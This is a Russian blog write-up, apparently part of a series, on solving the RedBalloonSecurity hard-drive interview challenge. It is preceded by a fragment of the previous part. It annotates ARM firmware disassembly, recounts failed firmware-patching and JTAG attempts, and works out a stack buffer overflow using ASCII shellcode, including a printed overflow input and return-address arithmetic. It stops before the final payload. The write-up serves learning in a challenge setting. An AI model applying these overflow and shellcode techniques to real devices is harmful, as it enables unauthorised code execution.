...13. ROM:00332D00 generate_key14. ROM:00332D0015. ROM:00332D00 var_28          = -0x2816. ROM:00332D0017. ROM:00332D00                 PUSH            {R4-R7,LR}18. ROM:00332D02                 SUB             SP, SP, #0x1019. ROM:00332D04                 MOVS            R7, R120. ROM:00332D06                 MOVS            R4, R221. ROM:00332D08                 MOVS            R5, R022. ROM:00332D0A                 LDR             R1, =0x6213600 ; "R"...23. ROM:00332D0C                 LDRB            R0, [R1,#1]24. ROM:00332D0E                 CMP             R0, #0x3125. ROM:00332D10                 BNE             loc_332D1A26. ROM:00332D12                 ADDS            R0, R1, #227. ROM:00332D14                 BLX             ahex2byte...

Строка 17-21. Первая инструкция, это PUSH. Она сохраняет на стек переменные из регистров R4-R7 и LR на стек, тоесть сохраняет предыдущий stack frame. Потом, отнимаем 16 байт от SP (увеличиваем стек). Копируем из регистров R0-R2 аргументы, которые были переданы в функцию generate_key в их "рабочие" места. Как видим, в прототипе было 3 аргумента. Регистров столко же. В предыдущем разделе я говорил, что аргументы падают на стек - это правда только в том случае, когда аргументов больше, чем 3 (или 4, уже не помню).

Процедура в предыдущем абзаце называется Function Prologue. Тоесть, не происходит ничего, что касается программной логики, но выполняется подготовка стека и регистров. Мне кажется, именно по подобным шаблонам IDA Pro отличает код от подпроцедур.

Строка 22-23. Грузим адрес, который будет указывать на то, что мы вводим в консольник диска в R1. Инструкция

LDRB R0, [R1,#1]

берет то, что лежит в R1, добавляет единицу, лезет в память по этому адресу (если значение в квадратных скобках, сначала надо интерпретировать эти данные как адрес), берет 1 байт и сохраняет его в R0.

Строка 24-25. Идет сравнение 2го вводимого символа с 0x31. В ASCII 0x31 это "1". Если мы ввели после буквы R единичку, выполнение кода не пойдет на loc_332D1A. Позже разберем что это за место.

Строка 26-27. Добавляем к адресу наших вводимых данных двойку и сохраняем в R0. По сути, мы смещаем адрес на 2 байта вперед. Тоесть, теперь он указывает на первый символ после R1 - "R1_" (на underscore). Далее, нас ждет безусловный прыжок на функцию ahex2byte. Но, это не просто прыжок. BLX, кроме прыжка, делает еще 2 замечательные вещи - сохраняет текущий адрес PC в LR, и переключает нас в ARM режим! внутри функции ahex2byte у нас теперь 4 байта на инструкцию. Помним, что R0 является первым аргументом при вызове функции.

Дабы подитожить, вот то, как пердыдущий кусок выглядел бы в С-шном виде. Этот код не правильный. Он чисто для наглядности:

void main () {  char *input = "R10000";  if (input[1] == "1") {    &input = &input + 2;    ahex2byte(&input);  }  else {    goto: loc_332D1A;  }}

ахекс2байт

138. ROM:00332DF8 ; =============== S U B R O U T I N E =======================================139. ROM:00332DF8140. ROM:00332DF8141. ROM:00332DF8 ahex2byte                               ; CODE XREF: generate_key+14p142. ROM:00332DF8                 STMFD           SP!, {R4-R6,LR}143. ROM:00332DFC                 MOV             R4, R0144. ROM:00332E00                 MOV             R6, R0145. ROM:00332E04146. ROM:00332E04 loc_332E04                              ; CODE XREF: ahex2byte+6Cj147. ROM:00332E04                 LDRB            R0, [R4]148. ROM:00332E08                 CMP             R0, #0xD149. ROM:00332E0C                 BEQ             loc_332E68150. ROM:00332E10                 BL              sub_332E70151. ROM:00332E14                 CMN             R0, #1152. ROM:00332E18                 BNE             loc_332E2C153. ROM:00332E1C                 LDRB            R0, [R4]154. ROM:00332E20                 BL              sub_332E98155. ROM:00332E24                 CMN             R0, #1156. ROM:00332E28                 BEQ             locret_332E6C157. ROM:00332E2C158. ROM:00332E2C loc_332E2C                              ; CODE XREF: ahex2byte+20j159. ROM:00332E2C                 MOV             R5, R0160. ROM:00332E30                 LDRB            R0, [R4,#1]161. ROM:00332E34                 BL              sub_332E70162. ROM:00332E38                 CMN             R0, #1163. ROM:00332E3C                 BNE             loc_332E50164. ROM:00332E40                 LDRB            R0, [R4,#1]165. ROM:00332E44                 BL              sub_332E98166. ROM:00332E48                 CMN             R0, #1167. ROM:00332E4C                 BEQ             locret_332E6C168. ROM:00332E50169. ROM:00332E50 loc_332E50                              ; CODE XREF: ahex2byte+44j170. ROM:00332E50                 MOV             R5, R5,LSL#4171. ROM:00332E54                 ADD             R0, R5, R0172. ROM:00332E58                 STRB            R0, [R6]173. ROM:00332E5C                 ADD             R4, R4, #2174. ROM:00332E60                 ADD             R6, R6, #1175. ROM:00332E64                 B               loc_332E04176. ROM:00332E68 ; ---------------------------------------------------------------------------177. ROM:00332E68178. ROM:00332E68 loc_332E68                              ; CODE XREF: ahex2byte+14j179. ROM:00332E68                 STRB            R0, [R6]180. ROM:00332E6C181. ROM:00332E6C locret_332E6C                           ; CODE XREF: ahex2byte+30j182. ROM:00332E6C                                         ; ahex2byte+54j183. ROM:00332E6C                 LDMFD           SP!, {R4-R6,PC}184. ROM:00332E6C ; End of function ahex2byte185. ROM:00332E6C186. ROM:00332E70187. ROM:00332E70 ; =============== S U B R O U T I N E =======================================188. ROM:00332E70189. ROM:00332E70190. ROM:00332E70 sub_332E70                              ; CODE XREF: ahex2byte+18p191. ROM:00332E70                                         ; ahex2byte+3Cp192. ROM:00332E70                 CMP             R0, #0xD193. ROM:00332E74                 BEQ             loc_332E90194. ROM:00332E78                 CMP             R0, #0x30195. ROM:00332E7C                 BLT             loc_332E90196. ROM:00332E80                 CMP             R0, #0x39197. ROM:00332E84                 BGT             loc_332E90198. ROM:00332E88                 SUB             R0, R0, #0x30199. ROM:00332E8C                 B               locret_332E94200. ROM:00332E90 ; ---------------------------------------------------------------------------201. ROM:00332E90202. ROM:00332E90 loc_332E90                              ; CODE XREF: sub_332E70+4j203. ROM:00332E90                                         ; sub_332E70+Cj ...204. ROM:00332E90                 MVN             R0, #0205. ROM:00332E94206. ROM:00332E94 locret_332E94                           ; CODE XREF: sub_332E70+1Cj207. ROM:00332E94                 BX              LR208. ROM:00332E94 ; End of function sub_332E70209. ROM:00332E94210. ROM:00332E98211. ROM:00332E98 ; =============== S U B R O U T I N E =======================================212. ROM:00332E98213. ROM:00332E98214. ROM:00332E98 sub_332E98                              ; CODE XREF: ahex2byte+28p215. ROM:00332E98                                         ; ahex2byte+4Cp216. ROM:00332E98                 CMP             R0, #0x41217. ROM:00332E9C                 BLT             loc_332EB4218. ROM:00332EA0                 CMP             R0, #0x46219. ROM:00332EA4                 BGT             loc_332EB4220. ROM:00332EA8                 SUB             R0, R0, #0x41221. ROM:00332EAC                 ADD             R0, R0, #0xA222. ROM:00332EB0                 B               locret_332EB8223. ROM:00332EB4 ; ---------------------------------------------------------------------------224. ROM:00332EB4225. ROM:00332EB4 loc_332EB4                              ; CODE XREF: sub_332E98+4j226. ROM:00332EB4                                         ; sub_332E98+Cj227. ROM:00332EB4                 MVN             R0, #0228. ROM:00332EB8229. ROM:00332EB8 locret_332EB8                           ; CODE XREF: sub_332E98+18j230. ROM:00332EB8                 BX              LR231. ROM:00332EB8 ; End of function sub_332E98

Строка

Подробнее..

Ломаем зашифрованный диск для собеседования от RedBalloonSecurity. Part 0x02

04.05.2021 12:13:46 |

Автор: admin

По мотивам
Часть 0x00
Часть 0x01
Часть 0x02

Сложность

Ребятушки, наконец! После довольно длительного перерыва ко мне, в конце концов, пришло вдохновение написать последнюю, финальную и завершающую часть этого чертовски долгого цикла о взломе диска от RedBalloonSecurity. В этой части вас ждет самое сложное из имеющихся заданий. То, с чем я боролся несколько месяцев, но за что был очень щедро вознагражден. Путь к решению был тернист, и я хочу вас в него посвятить.

Сразу хочется сказать, что прочтение моей предыдущей статьи обязательно! Она расписана до мелочей. Текущая публикация пишется с учетом того, что вы прочли и поняли предыдущую.

LEVEL3

По традиции, я начну с короткого содержания раздела диска:

user@ubuntu:/media/user/LEVEL3$ file *level_3.html:                  HTML document, ASCII text, with very long lineslevel3_instructions.txt:       ASCII textfinal_level.lod.7z.encrypted:  7-zip archive data, version 0.3

Все по классике:

level_3.html - файл с дампом памяти функции, которая генерирует ключ
level3_instructions.txt - инструкции что и как делать
final_level.lod.7z.encrypted - запароленный архив с последним файлом прошивки. Решение текущего уровня должно нас привести к паролю к этому архиву

Те, кто следит за этим циклом публикаций уже должны почуять схожесть этого уровня с предыдущим. Так оно и есть. Мы имеем дело с очень похожей задачей. Но, не все так просто :)

Наша подсказка выглядит вот так:

user@ubuntu:/media/user/LEVEL3$ cat level3_instructions.txtYou made it! I guess I wasn't the best intern...Maybe this one is better?1. Invoke the function with command R<User_Input>2. Find the key you must!!!!!level3.html provides disassembly of a memory snapshot of the key generator function.Read this. http://phrack.org/issues/66/12.html

Ха-ха. Кто-то не был лучшим интерном. В конце подсказки лежит ссылка, которая ведет на сайт phrack.org. Этот сайт заблокирован во многих организациях. Он попадает под категорию malware/viruses, но там нету ни единого плохого бинарника. Это очень старый онлайн журнал, где умельцы пишут статьи о том как что-то взломать. Наша ссылка ведет на статью о написании ASCII шеллкода для ARM процессоров.

ASCII шеллкод

Ответить на вопрос о том, что же такое шеллкод в полном обьеме, я, наверное не смогу. Но, в моей голове ответ выглядит так:

Это набор бинарных данных, который обычно используется в эксплоитах в качестве исполняемого кода. Если мы говорим об эксплоитах - их код можно логически разбить на две части:

Первая часть отвечает за абьюз уязвимости. То есть, это код, который использует специальные механики, такие как buffer overflow, race condition, use-after-free и тд. для того, чтоб заставить систему исполнить вторую часть эксплоита.
А вторая часть - это уже то, что должен исполнить процессор после того, как эксплоит получил контроль над уязвимой системой. Это и есть наш шеллкод. Он может быть очень разным. Это зависит от того, что мы хотим получить от взломанной системы. Мы можем использовать в качестве шеллкода код для скрытого майнинга крипты, запустить процесс bash и присоединить его дескрипторы через сокет к удаленному ПК (и таким образом получить шелл на взломанный комп). По сути, шеллкод это то, чем мы нагружаем процессор после взлома системы.

Стоит сказать, что такой код может быть только машинным. Потому что подсовывать высокоуровневый код, компилировать его на взломанном ПК, а потом исполнять - будет ну прям совсем изобретенным велосипедом. В процессе написания шеллкода нужно так же учитывать то, что он должен быть незаметным и маленьким по размеру. Размер имеет чуть ли не самое важное значение. Чем меньше размер - тем больше "фильтров" может пройти наш шеллкод. Об этом расскажу немного позже в процессе этой публикации.

Самая значимая часть статьи на phrack.org это ASCII. Дело в том, что очень много систем принимают в качестве пользовательского ввода как-раз таки данные в ASCII формате (наш диск не исключение - кроме текста, символов и цифр писать в консольник ничего нельзя). В статье описано несколько механик о том, как писать шеллкод, используя только числа в диапазоне от 0x20 до 0x7E. И, мало того, каждый код операции процессора разбивается на биты, и рассказывается почему одна операция проходит ASCII "фильтр", а другая нет. Статью писал истинный гений!

В этот раз, я покажу файл level_3.html целиком. Ведь он гораздо меньше, чем на предыдущем уровне.

level_3.html

001. ROM:00332D30002. ROM:00332D30 ; Segment type: Pure code003. ROM:00332D30                 AREA ROM, CODE, READWRITE, ALIGN=0004. ROM:00332D30                 ; ORG 0x332D30005. ROM:00332D30                 CODE16006. ROM:00332D30007. ROM:00332D30 ; =============== S U B R O U T I N E =======================================008. ROM:00332D30009. ROM:00332D30 ; prototype: generate_key(key_part_num, integrity_validate_table, key_table)010. ROM:00332D30 ; Function called when serial console input is 'R'. Generates key parts in R0-R3.011. ROM:00332D30 ; The next level to reach, the key parts to print you must!012. ROM:00332D30013. ROM:00332D30 generate_key014. ROM:00332D30015. ROM:00332D30 var_A8          = -0xA8016. ROM:00332D30017. ROM:00332D30                 PUSH            {R4-R7,LR}018. ROM:00332D32                 SUB             SP, SP, #0x90019. ROM:00332D34                 MOVS            R7, R1020. ROM:00332D36                 MOVS            R4, R2021. ROM:00332D38                 MOVS            R5, R0022. ROM:00332D3A                 MOV             R1, SP023. ROM:00332D3C                 LDR             R0, =0x35A05C ; "SP: %x"024. ROM:00332D3E                 LDR             R3, =0x68B08D025. ROM:00332D40                 NOP026. ROM:00332D42                 LDR             R1, =0x6213600 ; "R"...027. ROM:00332D44                 MOV             R2, SP028. ROM:00332D46029. ROM:00332D46 loc_332D46                              ; CODE XREF: generate_key+22j030. ROM:00332D46                 LDRB            R6, [R1]031. ROM:00332D48                 ADDS            R1, R1, #1032. ROM:00332D4A                 CMP             R6, #0xD033. ROM:00332D4C                 BEQ             loc_332D54034. ROM:00332D4E                 STRB            R6, [R2]035. ROM:00332D50                 ADDS            R2, R2, #1036. ROM:00332D52                 B               loc_332D46037. ROM:00332D54 ; ---------------------------------------------------------------------------038. ROM:00332D54039. ROM:00332D54 loc_332D54                              ; CODE XREF: generate_key+1Cj040. ROM:00332D54                 SUBS            R6, #0xD041. ROM:00332D56                 STRB            R6, [R2]042. ROM:00332D58                 SUBS            R5, #0x49 ; 'I'043. ROM:00332D5A                 CMP             R5, #9044. ROM:00332D5C                 BGT             loc_332E14045. ROM:00332D5E                 LSLS            R5, R5, #1046. ROM:00332D60                 ADDS            R5, R5, #6047. ROM:00332D62                 MOV             R0, PC048. ROM:00332D64                 ADDS            R5, R0, R5049. ROM:00332D66                 LDRH            R0, [R5]050. ROM:00332D68                 ADDS            R0, R0, R5051. ROM:00332D6A                 BX              R0052. ROM:00332D6A ; ---------------------------------------------------------------------------053. ROM:00332D6C                 DCW 0x15054. ROM:00332D6E                 DCW 0xA6055. ROM:00332D70                 DCW 0xA4056. ROM:00332D72                 DCW 0xA2057. ROM:00332D74                 DCW 0xA0058. ROM:00332D76                 DCW 0x9E059. ROM:00332D78                 DCW 0x30060. ROM:00332D7A                 DCW 0x52061. ROM:00332D7C                 DCW 0x98062. ROM:00332D7E                 DCW 0xE063. ROM:00332D80 ; ---------------------------------------------------------------------------064. ROM:00332D80065. ROM:00332D80 key_part1066. ROM:00332D80                 LDR             R0, [R4]067. ROM:00332D82                 MOVS            R6, #1068. ROM:00332D84                 STR             R6, [R7]069. ROM:00332D86                 BLX             loc_332E28070. ROM:00332D86 ; ---------------------------------------------------------------------------071. ROM:00332D8A                 CODE32072. ROM:00332D8A                 DCB    0073. ROM:00332D8B                 DCB    0074. ROM:00332D8C ; ---------------------------------------------------------------------------075. ROM:00332D8C076. ROM:00332D8C key_part2077. ROM:00332D8C                 LDR             R6, [R7]078. ROM:00332D90                 CMP             R6, #1079. ROM:00332D94                 LDREQ           R1, [R4,#4]080. ROM:00332D98                 EOREQ           R1, R1, R0081. ROM:00332D9C                 MOVEQ           R6, #1082. ROM:00332DA0                 STREQ           R6, [R7,#4]083. ROM:00332DA4                 B               loc_332E28084. ROM:00332DA8 ; ---------------------------------------------------------------------------085. ROM:00332DA8086. ROM:00332DA8 key_part3087. ROM:00332DA8                 LDR             R6, [R7]088. ROM:00332DAC                 CMP             R6, #1089. ROM:00332DB0                 LDREQ           R6, [R7,#4]090. ROM:00332DB4                 CMPEQ           R6, #1091. ROM:00332DB8                 LDREQ           R2, [R4,#8]092. ROM:00332DBC                 EOREQ           R2, R2, R1093. ROM:00332DC0                 MOVEQ           R6, #1094. ROM:00332DC4                 STREQ           R6, [R7,#8]095. ROM:00332DC8                 B               loc_332E28096. ROM:00332DCC ; ---------------------------------------------------------------------------097. ROM:00332DCC098. ROM:00332DCC key_part4099. ROM:00332DCC                 LDR             R6, [R7]100. ROM:00332DD0                 CMP             R6, #1101. ROM:00332DD4                 LDREQ           R6, [R7,#4]102. ROM:00332DD8                 CMPEQ           R6, #1103. ROM:00332DDC                 LDREQ           R6, [R7,#8]104. ROM:00332DE0                 CMPEQ           R6, #1105. ROM:00332DE4                 LDREQ           R3, [R4,#0xC]106. ROM:00332DE8                 EOREQ           R3, R3, R2107. ROM:00332DEC                 MOVEQ           R6, #1108. ROM:00332DF0                 STREQ           R6, [R7,#8]109. ROM:00332DF4                 LDR             R4, =0x35A036 ; "Key Generated: %s%s%s%s"110. ROM:00332DF8                 SUB             SP, SP, #4111. ROM:00332DFC                 STR             R0, [SP,#0xA8+var_A8]112. ROM:00332E00                 MOVS            R0, R4113. ROM:00332E04                 LDR             R4, dword_332E40+4114. ROM:00332E08                 BLX             R4115. ROM:00332E0C                 ADD             SP, SP, #4116. ROM:00332E10117. ROM:00332E10 loc_332E10                              ; CODE XREF: generate_key:loc_332E10j118. ROM:00332E10                 B               loc_332E10119. ROM:00332E14 ; ---------------------------------------------------------------------------120. ROM:00332E14                 CODE16121. ROM:00332E14122. ROM:00332E14 loc_332E14                              ; CODE XREF: generate_key+2Cj123. ROM:00332E14                 LDR             R4, =0x35A020 ; "key not generated"124. ROM:00332E16                 SUB             SP, SP, #4125. ROM:00332E18                 STR             R0, [SP,#0xA8+var_A8]126. ROM:00332E1A                 MOVS            R0, R4127. ROM:00332E1C                 LDR             R4, =0x68B08D128. ROM:00332E1E                 BLX             R4129. ROM:00332E20                 ADD             SP, SP, #4130. ROM:00332E22                 BLX             loc_332E28131. ROM:00332E26                 MOVS            R0, R0132. ROM:00332E26 ; End of function generate_key133. ROM:00332E26134. ROM:00332E28                 CODE32135. ROM:00332E28136. ROM:00332E28 loc_332E28                              ; CODE XREF: generate_key+56p137. ROM:00332E28                                         ; generate_key+74j ...138. ROM:00332E28                 ADD             SP, SP, #0xA0139. ROM:00332E2C                 LDR             LR, [SP],#4140. ROM:00332E30                 BX              LR141. ROM:00332E30 ; ---------------------------------------------------------------------------142. ROM:00332E34 dword_332E34    DCD 0x35A05C            ; DATA XREF: generate_key+Cr143. ROM:00332E38 dword_332E38    DCD 0x68B08D            ; DATA XREF: generate_key+Er144. ROM:00332E3C dword_332E3C    DCD 0x6213600           ; DATA XREF: generate_key+12r145. ROM:00332E40 dword_332E40    DCD 0x35A036, 0x68B08D  ; DATA XREF: generate_key+C4r146. ROM:00332E40                                         ; generate_key+D4r147. ROM:00332E48 dword_332E48    DCD 0x35A020            ; DATA XREF: generate_key:loc_332E14r148. ROM:00332E4C off_332E4C      DCD 0x68B08D            ; DATA XREF: generate_key+ECr149. ROM:00332E50                 DCD 0150. ROM:00332E50 ; ROM           ends151. ROM:00332E50152. ROM:00332E50                 END

Отличия

Огооо! Первый блин комом. Здесь нету функции ahex2byte. Без конвертации вводимых символов в бинарные, мы уж точно не сможем прыгнуть по адресам каждого из ключа. То есть, у нас не получится взломать этот уровень так же, как и предыдущий. Оно и не дурно - задачка то новая!

Первое, что мне сразу бросилось в глаза - строка 18. Как мы помним из предыдущей статьи, это часть Function Prologue. Но, количество памяти, которое мы выделяем для стека огромное - аж целых 0х90 байт. Если бы эта функция имела много аргументов и дохрена переменных внутри, это бы хоть как-то оправдало на столько огромную цифру. Это, друзья, наш "первый звоночек".

На строках 138-140 мы видим то же самое уменьшение стека, и прыжок на адрес, который был залинкован перед входом в функцию generate_key. Количество байт, на которое мы уменьшаем стек - 0xA0. Это на 16 байт больше того количества, на которое мы увеличивали стек сразу после входа в функцию. На предыдущем уровне, мы имели ровно такую же разницу. В общем, этот кусок говорит нам о том, что здесь мы эксплуатируем ровно такую-же уязвимость, как и на предыдущем уровне - buffer overflow. Но, заставить программу отдать ключи нам прийдется другим, более изощренным способом.

На строке 24 мы видим, что адрес нашей функции printf грузится в регистр R3. Пока что не понятно, для каких целей мы это делаем, но это, уж поверьте, стоит держать в голове :)

Строки 30-36. Здесь у нас нету отличий от предыдущего уровня - все, что мы здесь делаем это копируем наши вводимые данные на стек, и продолжаем исполнение программы когда столкнемся с символом новой строки.

Строки 40-41. Опа! А здесь мы видим две замечательные инструкции. На строке 40 мы отнимаем 0x0D от последнего вводимого символа - новой строки (тот же 0x0D). Получаем ноль. И, на строке 41, мы сохраняем этот ноль на стек в качестве последнего символа нашего ввода. Это наталкивает нас на мысль, что, если мы правильно все рассчитаем, один из байтов адреса на который вернется программа вполне себе может быть 0х00. Опять же, держим в голове. Однажды это нас спасет :)

Ну, вот и все. В остальном, программа почти идентична той, что мы имели на LEVEL2. Конечно, есть парочка непохожих вещей, но они выходят за рамки процесса взлома этого уровня.

Жалкие попытки

Как я и говорил в начале этой публикации, у меня ушло невероятно много времени, чтоб понять как взломать эту ерунду. Друзья, провальные попытки - тоже попытки. Поэтому, пройдемся по тем безуспешным шагам, которые я попробовал, но которые не увенчались успехом.

Меняем прошивку

Первая мысль была загрузить файл level_3.lod в дизассемблер, найти место, которое будет похожим на то, что я вижу в level_3.html, отредактировать пару значений, и залить прошивку обратно на диск. Я воспользовался Hopper Disassembler, и все таки нашел это место! Очень странно то, что каждая вторая строка кода была совсем не похожа на то, что я вижу в level_3.html. Возможно, это была какая-то контрольная сумма, или же логика прошивальщика seaflashlin_rbs работает специфичным образом. Так или иначе, чисто для тестов, я изменил парочку значений.

Но, когда я попытался прошить диск, утилита seaflashlin_rbs завершалась с ошибкой. И, после прошивки, мои изменения не применились.

root@ubuntu:/home/user/Desktop# ./seaflashlin_rbs -f level_3_patch.lod -d /dev/sg1 ================================================================================ Seagate Firmware Download Utility v0.4.6 Build Date: Oct 26 2015 Copyright (c) 2014 Seagate Technology LLC, All Rights Reserved Tue Mar 23 19:25:42 2021================================================================================Flashing microcode file level_3_patch.lod to /dev/sg1 .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  :  !Microcode Download to /dev/sg1 FAILURE!!!

Здесь я вообще не понял что именно стало причиной. Либо сама утилита, либо несоответствие данных в файле прошивки. В общем, решил не копать глубоко. Кое-где в голове было понимание, что этот уровень решается не так просто. Я тут же отбросил этот вариант.

Может потыкать железяку?

Немного погуглив, я понял что каждый чип (IC) имеет такую штуку как JTAG. Это своеобразный интерфейс для тестирования чипа. Через него можно отдать команду процессору остановить исполнение кода, и переключится в debug-режим. С помощью openocd можно "транслировать" debug-режимы различных чипов, и вывести порт для gdb. А уже с gdb можно попросить процессор показать определенные участки памяти, да и вообще слить всю память, которая находится в рабочем пространстве процессора. Если мы совершим подобное, мы отыщем функцию generate_key в огромном дампе памяти, и по референсам сможем найти все ключи!

Для подобной манипуляции есть парочка нюансов:

Нужно знать какие ножки процессора отвечают за JTAG
Нужно понять каким образом настроить openocd

JTAG это довольно хитрая вещь. На разных микропроцессорах он располагается на разных ножках, и сразу понять что куда подключать - практически не возможно. Это на столько не возможно, что существует такая вещь как jtagulator. Цена железяки говорит сама за себя. https://www.parallax.com/product/jtagulator/

На тыльной стороне платы был 38-пиновый разьем. Я так понял, что этот разьем используется для тестирования платы в процессе производства. На нем и должен быть наш JTAG

Спасибо форуму hddguru.com и сайту spritesmods.com - там были все необходимые распиновки и небольшие гайды о том, как подключится к JTAG на похожих дисках. Для openocd я использовал стандартный шаблон под raspberry pi, добавив лишь опцию открытия порта для gdb, и немножко описав IC (может даже криво). Контакты на разьеме были совсем маленькие, и припаиваться к ним было ужасно не удобно. Понимать где какая ножка было тяжело для зрения. Поэтому, я сделал фотки, и все разукрасил с обеих сторон.

Разукрашенная плата

В результате, картина моего подключения выглядела ужасно. Кое что было криво припаяно, кое что просто контактировало с платой без какой-либо пайки. Куча female-male-female... Но, блин, оно работало. Когда я запустил openocd, у меня получилось опознать чип!

К сожалению, конфигурация openocd была безвозвратно утеряна, но скриншот подключения остался.

Я увидел 3 ядра процессора (JTAG tap). По partnumber я даже нашел изображения этого чипа, и они выглядели похожими на тот, что мы имеем на плате. Оказалось, что это STMicroelectronics STR912.

Но, как видите - в конце лога от openocd я увидел ошибки. Они указывали на то, что процессор не ответил на команду halt. Как я это понял, он проигнорировал просьбу включить debug-режим. Без debug-режима, мы никак не сможем запросить у процессора содержимое памяти... и не сможем решить этот уровень. Очередная неудача - JTAG был закрыт.

Может, толковые ребята в комментариях подскажут, шел ли я по правильному пути, тот ли это чип вообще, и правильно ли я понял происходящее.

Решаем по правильному

В конце концов я сдался, и понял, что этот уровень нужно решать как есть, без попыток обойти систему. Уж слишком много было подсказок насчет шеллкода, патч от keystone с предыдущего уровня никак не шел из головы, и этот комментарий на строке 23 "SP: %x" все не давал мне покоя. К тому же, этот комментарий есть в задаче от предыдущего уровня.

У меня оставалась еще одна мысль - поскольку мы копируем все вводимые символы на стек, можно попытаться самому написать ASCII шеллкод и заабьюзить адрес возврата так, чтоб он указывал на стек. Тем самым, мы заставим процессор исполнить то, что напишем. В нашем случае, шеллкод должен выставить адреса ключей в регистр R0, и триггернуть printf. Но, для этого нужно знать адрес SP, в момент копирования нашего ввода на стек. Я сделал одно допущение - поскольку мы имеем дело с embedded устройством, у нас нету ядра, нету виртуализации - все адреса никак не транслируются. Получается, адрес SP в момент триггера функции generate_key через "R..." должен быть одинаковым на LEVEL2 и на LEVEL3.

Если глянете на level_2.html из предыдущей статьи, вы увидите, что 0x00332DCC - это адрес, где мы сохраняем содержимое SP в R1, расставляем аргументы для printf по местам, и триггерим printf - то есть, печатаем адрес SP. Я перепрошил диск на предыдущий уровень LEVEL2 и сделал вот такой ввод в консоль:

R1AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACC2D3300

На что получил вот такой ответ:

SP:2c7bcc.

Хм, 0x002C7BCC... первый 0x00 байт мы сможем получить после того, как отнимем 0xD от символа новой строки (строки 40-41), 0x2C и 0x7B это символы в ASCII диапазоне - "," и "{". Здесь все хорошо. А вот последний байт 0xCC выходит за пределы ASCII. Но, как мы помним, в Function Prologue (строка 18), мы увеличивали стек (уменьшали адрес) аж на 0x90 байт. То есть, наш шеллкод может располагаться в довольно широком диапазоне адресов. Последний байт можно запросто подстроить так, чтоб он был в ASCII.

То есть, как видите, затея с прыжком исполнения на стек вполне реальна!

Но, есть одна проблемка - мы печатаем адрес SP внутри функции. А нам нужен адрес SP на тот момент, когда мы копируем первый вводимый символ на стек. Это и будет наш адрес, куда мы переведем исполнение программы. А содержимое стека и будет нашим шеллкодом.

Берем во внимание все манипуляции с SP в процессе generate_key. Что написано пером... ну вы поняли. Я распечатал LEVEL2 & LEVEL3 и вручную все расписал. К сожалению, фоток от LEVEL2 не осталось, поэтому будет кусок кода из level_2.html:

013. ROM:00332D00 generate_key014. ROM:00332D00015. ROM:00332D00 var_28          = -0x28016. ROM:00332D00017. ROM:00332D00                 PUSH            {R4-R7,LR}018. ROM:00332D02                 SUB             SP, SP, #0x10019. ROM:00332D04                 MOVS            R7, R1020. ROM:00332D06                 MOVS            R4, R2...108. ROM:00332DCC                 MOV             R1, SP109. ROM:00332DD0                 LDR             R4, =0x35A05C ; "SP: %x"110. ROM:00332DD4                 BLX             loc_332DDC111. ROM:00332DD8                 CODE16112. ROM:00332DD8113. ROM:00332DD8 loc_332DD8                              ; CODE XREF: generate_key+2Ej114. ROM:00332DD8                 LDR             R4, =0x35A020 ; "key not generated"115. ROM:00332DDA                 NOP116. ROM:00332DDC117. ROM:00332DDC loc_332DDC                              ; CODE XREF: generate_key+C8p118. ROM:00332DDC                                         ; generate_key+D4p119. ROM:00332DDC                 SUB             SP, SP, #4120. ROM:00332DDE                 STR             R0, [SP,#0x28+var_28]121. ROM:00332DE0                 MOVS            R0, R4123. ROM:00332DE2                 LDR             R4, =0x68B08D124. ROM:00332DE4                 BLX             R4125. ROM:00332DE6                 ADD             SP, SP, #4126. ROM:00332DE8                 BLX             loc_332DEC127. ROM:00332DE8 ; End of function generate_key128. ROM:00332DE8129. ROM:00332DEC                 CODE32130. ROM:00332DEC131. ROM:00332DEC loc_332DEC                              ; CODE XREF: generate_key+58p132. ROM:00332DEC                                         ; generate_key+74j ...133. ROM:00332DEC                 ADD             SP, SP, #0x20134. ROM:00332DF0                 LDR             LR, [SP],#4135. ROM:00332DF4                 BX              LR136. ROM:00332DF8137. ROM:00332DF8 ; =============== S U B R O U T I N E =======================================

level_3.html

На LEVEL2 (level_2.html), в самом начале, на строке 18, мы уменьшаем значение в SP на 0х10 байт. На строке 133 мы завершаем функцию, при этом прибавляя 0х20 байт. Инструкция на строке 134

LDR LR, [SP],#4

забавная. В ней мы уменьшаем стек на 4 байта, лезем по этому адресу в память, и сохраняем содержимое в LR. Что происходит с LR - не важно. Важно лишь то, что значение в SP увеличилось на 4 байта.

Делаем вот такую обратную математику:

0x002C7BCC + 0х10 = 0x002C7BDC0x002C7BDC - 0x20 = 0x002C7BBC0x002C7BBC - 0x04 = 0x002C7BB8

0x002C7BB8 и есть значение в SP на момент старта функции generate_key. Теперь делаем расчеты из LEVEL3. Здесь, перед копированием вводимых символов, мы увеличиваем стек (отнимаем адрес) на 0х90 байт. Здесь уже применяем прямую математику:

0x002C7BB8 - 0х90 = 0x002C7B28

Итак, мы получили адрес, куда будет копироваться наш ввод. Ах да, не забываем об еще одной очень важной вещи - наш первый вводимый символ это "R" - он является триггером функции, но не является частью нашего будущего шеллкода. Избавится от него мы не можем, да и нам это не нужно. Просто немножко сдвинуть адрес вперед будет достаточно

Сдвиг на 1 байт не сработает поскольку мы имеем дело с little endian архитектурой. Помним, что наши инструкции имеют размер в 2 байта. Делая такой маленький сдвиг, мы рискуем "захватить" предыдущий символ "R" как инструкцию для процессора и наш шеллкод не сработает.
Сдвиг на 2 байта тоже не сработает. Причина тому - парность адреса. В предыдущей статье у меня был абзац, где я рассказывал, что семейство Branch (B) инструкций с параметром Exchange (X) совершат смену режима. Если адрес будет парным, мы сменим режим на ARM, где будем иметь 4 байта на инструкцию. Писать шеллкод под ASCII фильтр куда проще имея 2 байта на инструкцию, чем 4 (вероятность напороться на non-ASCII опкод в 2 раза ниже). Поэтому, для простоты, лучше оставаться в Thumb.
Сдвиг на 3 байта это именно то, что нам нужно.

0x002C7B28 + 0x03 = 0x002C7B2B

Надо же, в итоге мы получили адрес, который идеально поместится в ASCII диапазон. Последним байтом оказался 0x2B - это ASCII "+".

Что же, нам осталось рассчитать количество вводимых в консоль символов таким образом, чтоб возврат из generate_key направил исполнение кода на адрес 0x002C7B2B. Помним, что на строках 138-140 из level_3.html мы увеличивали адрес стека на 0xA0 (160) байт. И, увеличивали еще на 4 байта когда снимали значение со стека в LR.

